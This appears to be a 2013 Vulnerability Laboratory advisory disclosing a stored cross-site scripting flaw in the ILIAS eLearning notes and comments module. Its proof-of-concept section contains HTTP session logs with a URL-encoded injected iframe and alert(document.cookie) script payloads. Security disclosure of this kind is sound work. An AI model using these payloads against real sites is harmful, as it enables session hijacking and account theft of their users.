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Document Title:
===============
ILIAS eLearning 4.3.4 & 4.4 CMS - Persistent Notes Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1122
Release Date:
=============
2013-10-27
Vulnerability Laboratory ID (VL-ID):
====================================
1122
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
ILIAS is a web base learning management system (LMS, VLE). Features: Courses, SCORM 1.2 and 2004, mail, forum, chat, groups,
podcast, file sharing, authoring, CMS, test, wiki, personal desktop, LOM, LDAP, role based access.
(Copy of the Homepage: http://sourceforge.net/projects/ilias/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the ILIAS eLearning v4.3.4 & v4.4 CMS web-application.
Vulnerability Disclosure Timeline:
==================================
2013-10-27: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ILIAS
Product: ILIAS eLearning - Content Management System 4.3.4 & 4.4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability is detected in the ILIAS eLearning v4.3.4 & v4.4 CMS web-application.
The bug allows an attacker (remote) to implement/inject malicious own malicious persistent script codes (application side).
The persistent web vulnerability is located in the `Notes & Comments` module. Remote attackers are able to inject own
malicious script code via POST method request in the vulnerable comment or note parameters. The execute occurs in the
in the comments and private notes modules of the admin panel.
Exploitation of the persistent web vulnerability requires low user interaction and a low privileged web-application user account.
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
web attacks, persistent phishing or persistent module context manipulation.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Notes
[+] Comments
Vulnerable Parameter(s):
[+] note
Affected Module(s):
[+] Private Notes
[+] Comments Review
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low user interaction and low privileged
web-application user account. For demonstration or to reproduce ...
PoC: Public Comments & private Notes
<div class="ilNote">
<a name="note_35"><!-- <img src="./templates/default/images/note_unlabeled.png" alt="Note"
title="Note" border="0" style="vertical-align:text-bottom; margin-bottom:2px;"/> --></a>
<span class="small light"> Last edited on 26. Oct 2013</span>
<div class="ilNoteText"><h4 class="ilNoteTitle"></h4>><%20%20"<[PERSISTENT INJECTED SCRIPT CODE!]">
</div></div>
--- PoC Session Logs ---
Status: 302[Found]
POST http://ilias.localhost:8080/ilias.php?
note_type=1&cmd=post&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI&fallbackCmd=getNotesHTML&rtoken=2d302c4c574f61fc880f393433703e1b
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[20]
Mime Type[text/html]
Request Headers:
Host[ilias.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://ilias.localhost:8080/ilias.php?note_type=1<>e_id=35&cmd=editNoteForm&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI]
Cookie[ilClientId=demo; PHPSESSID=mgvf9np8j9394rr0jdjg6kcqb2; iltest=cookie; authchallenge=459071aa3327de70506cb2a465507bf5]
Connection[keep-alive]
Post Data:
note[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvulnerability-lab.com%2F%3E%40gmail.com%0D%0A%3E
%22%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3Cdiv+style%3D%221%40gmail.com%0D%0A%3E%22%3Cscript%3Ealert%28
document.cookie%29%3C%2Fscript%3E%40gmail.com]
cmd%5BupdateNote%5D[Update+Note]
note_id[35]
Response Headers:
Date[Sat, 26 Oct 2013 21:12:44 GMT]
Server[Apache/2.2.22 (Ubuntu)]
X-Powered-By[PHP/5.3.10-1ubuntu3.8]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Location[http://ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Content-Type[text/html]
Status: 200[OK]
GET http://ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top
Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ]
Content Size[4997]
Mime Type[text/html]
Request Headers:
Host[ilias.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://ilias.localhost:8080/ilias.php?note_type=1<>e_id=35&cmd=editNoteForm&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI]
Cookie[ilClientId=demo; PHPSESSID=mgvf9np8j9394rr0jdjg6kcqb2; iltest=cookie; authchallenge=459071aa3327de70506cb2a465507bf5]
Connection[keep-alive]
Response Headers:
Date[Sat, 26 Oct 2013 21:12:44 GMT]
Server[Apache/2.2.22 (Ubuntu)]
X-Powered-By[PHP/5.3.10-1ubuntu3.8]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
P3P[CP="CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT CNT STA PRE"]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[4997]
Keep-Alive[timeout=5, max=99]
Connection[Keep-Alive]
Content-Type[text/html; charset=UTF-8]
Reference(s):
ilias.localhost:8080/ilias.php?baseClass=ilPersonalDesktopGUI&cmd=jumpToSelectedItems
ilias.localhost:8080/ilias.php?note_mess=mod&cmd=showNotes&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI#notes_top
ilias.localhost:8080/ilias.php?note_type=1&cmd=post&cmdClass=ilnotegui&cmdNode=eu:jl:jk&baseClass=ilPersonalDesktopGUI&fallbackCmd=getNotesHTML&rtoken=x
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the note input field.
Recognize also the affected output section were the vulnerable value executes.
Security Risk:
==============
The security risk of the persistent input validation web vulnerability is estimated as medium(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
Disclaimer & Information:
=========================
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